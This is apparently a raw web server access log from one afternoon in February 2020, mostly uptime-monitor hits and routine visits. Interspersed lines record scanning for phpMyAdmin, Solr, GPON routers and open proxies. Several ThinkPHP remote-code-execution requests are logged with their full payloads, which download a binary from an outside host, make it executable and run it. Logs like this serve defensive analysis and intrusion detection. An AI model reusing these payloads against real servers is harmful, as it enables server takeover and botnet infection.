87.151.72.208 - - [14/Feb/2020:14:35:46 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
87.151.72.208 - - [14/Feb/2020:14:35:46 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
87.151.72.208 - - [14/Feb/2020:14:35:46 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
87.151.72.208 - - [14/Feb/2020:14:35:46 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
87.151.72.208 - - [14/Feb/2020:14:35:46 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
87.151.72.208 - - [14/Feb/2020:14:35:46 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
87.151.72.208 - - [14/Feb/2020:14:35:46 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
87.151.72.208 - - [14/Feb/2020:14:35:46 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
87.151.72.208 - - [14/Feb/2020:14:35:46 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
87.151.72.208 - - [14/Feb/2020:14:35:46 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
87.151.72.208 - - [14/Feb/2020:14:35:46 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
87.151.72.208 - - [14/Feb/2020:14:35:46 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
87.151.72.208 - - [14/Feb/2020:14:35:46 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
87.151.72.208 - - [14/Feb/2020:14:35:46 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
87.151.72.208 - - [14/Feb/2020:14:35:46 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
87.151.72.208 - - [14/Feb/2020:14:35:46 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
87.151.72.208 - - [14/Feb/2020:14:35:46 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
87.151.72.208 - - [14/Feb/2020:14:35:46 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
87.151.72.208 - - [14/Feb/2020:14:35:46 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
87.151.72.208 - - [14/Feb/2020:14:35:46 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:14:36:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.13.201.101 - - [14/Feb/2020:14:37:33 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.13.201.101 - - [14/Feb/2020:14:37:34 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [14/Feb/2020:14:37:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.13.201.101 - - [14/Feb/2020:14:37:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
86.120.44.244 - - [14/Feb/2020:14:38:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [14/Feb/2020:14:38:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:14:39:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:14:40:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.0.196.128 - - [14/Feb/2020:14:41:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [14/Feb/2020:14:41:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:14:42:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:14:43:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:14:44:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:14:45:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:14:46:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:14:47:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:14:48:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.11.92.78 - - [14/Feb/2020:14:49:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [14/Feb/2020:14:49:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:14:50:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:14:51:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:14:52:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:14:53:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:14:54:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.89.197.133 - - [14/Feb/2020:14:54:53 +0100] "POST /GponForm/diag_Form?images/ HTTP/1.1" 404 319 "-" "Hello, World"
212.91.246.72 - - [14/Feb/2020:14:55:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:14:56:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:14:57:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
86.120.44.244 - - [14/Feb/2020:14:57:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [14/Feb/2020:14:58:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:14:59:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.85.65.91 - - [14/Feb/2020:15:00:33 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [14/Feb/2020:15:00:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:15:01:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
168.194.128.254 - - [14/Feb/2020:15:01:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:15:02:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.69.39.163 - - [14/Feb/2020:15:03:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [14/Feb/2020:15:03:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:15:04:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:15:05:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:15:06:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:15:07:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:15:08:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:15:09:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:15:10:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:15:11:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:15:12:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [14/Feb/2020:15:12:55 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:15:13:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:15:14:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.215.17 - - [14/Feb/2020:15:15:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [14/Feb/2020:15:15:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:15:16:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.95.196.122 - - [14/Feb/2020:15:17:26 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
47.95.196.122 - - [14/Feb/2020:15:17:28 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
47.95.196.122 - - [14/Feb/2020:15:17:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [14/Feb/2020:15:17:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [14/Feb/2020:15:18:17 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [14/Feb/2020:15:18:20 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:15:18:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:15:19:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:15:20:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [14/Feb/2020:15:21:20 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [14/Feb/2020:15:21:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:15:22:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [14/Feb/2020:15:23:20 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:15:23:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:15:24:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.148.241.180 - - [14/Feb/2020:15:24:42 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [14/Feb/2020:15:25:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:15:26:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.96.39.50 - - [14/Feb/2020:15:27:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:15:27:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:15:28:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:15:29:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [14/Feb/2020:15:29:41 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
222.186.19.221 - - [14/Feb/2020:15:30:12 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [14/Feb/2020:15:30:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:15:31:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:15:32:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:15:33:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:15:34:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:15:35:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:15:36:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [14/Feb/2020:15:37:26 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [14/Feb/2020:15:37:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
164.163.20.223 - - [14/Feb/2020:15:37:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
222.186.19.221 - - [14/Feb/2020:15:38:25 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [14/Feb/2020:15:38:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:15:39:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [14/Feb/2020:15:40:33 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [14/Feb/2020:15:40:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.130.149.61 - - [14/Feb/2020:15:41:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [14/Feb/2020:15:41:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [14/Feb/2020:15:41:36 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [14/Feb/2020:15:42:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [14/Feb/2020:15:42:48 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [14/Feb/2020:15:43:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [14/Feb/2020:15:44:30 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [14/Feb/2020:15:44:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [14/Feb/2020:15:45:06 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [14/Feb/2020:15:45:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:15:46:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:15:47:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:15:48:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:15:49:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:15:50:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
111.19.255.20 - - [14/Feb/2020:15:51:15 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
111.19.255.20 - - [14/Feb/2020:15:51:19 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
111.19.255.20 - - [14/Feb/2020:15:51:35 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [14/Feb/2020:15:51:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.97.100.10 - - [14/Feb/2020:15:51:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [14/Feb/2020:15:52:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:15:53:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:15:54:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:15:55:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:15:56:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:15:57:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:15:58:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:15:59:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:16:00:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:16:01:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:16:02:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
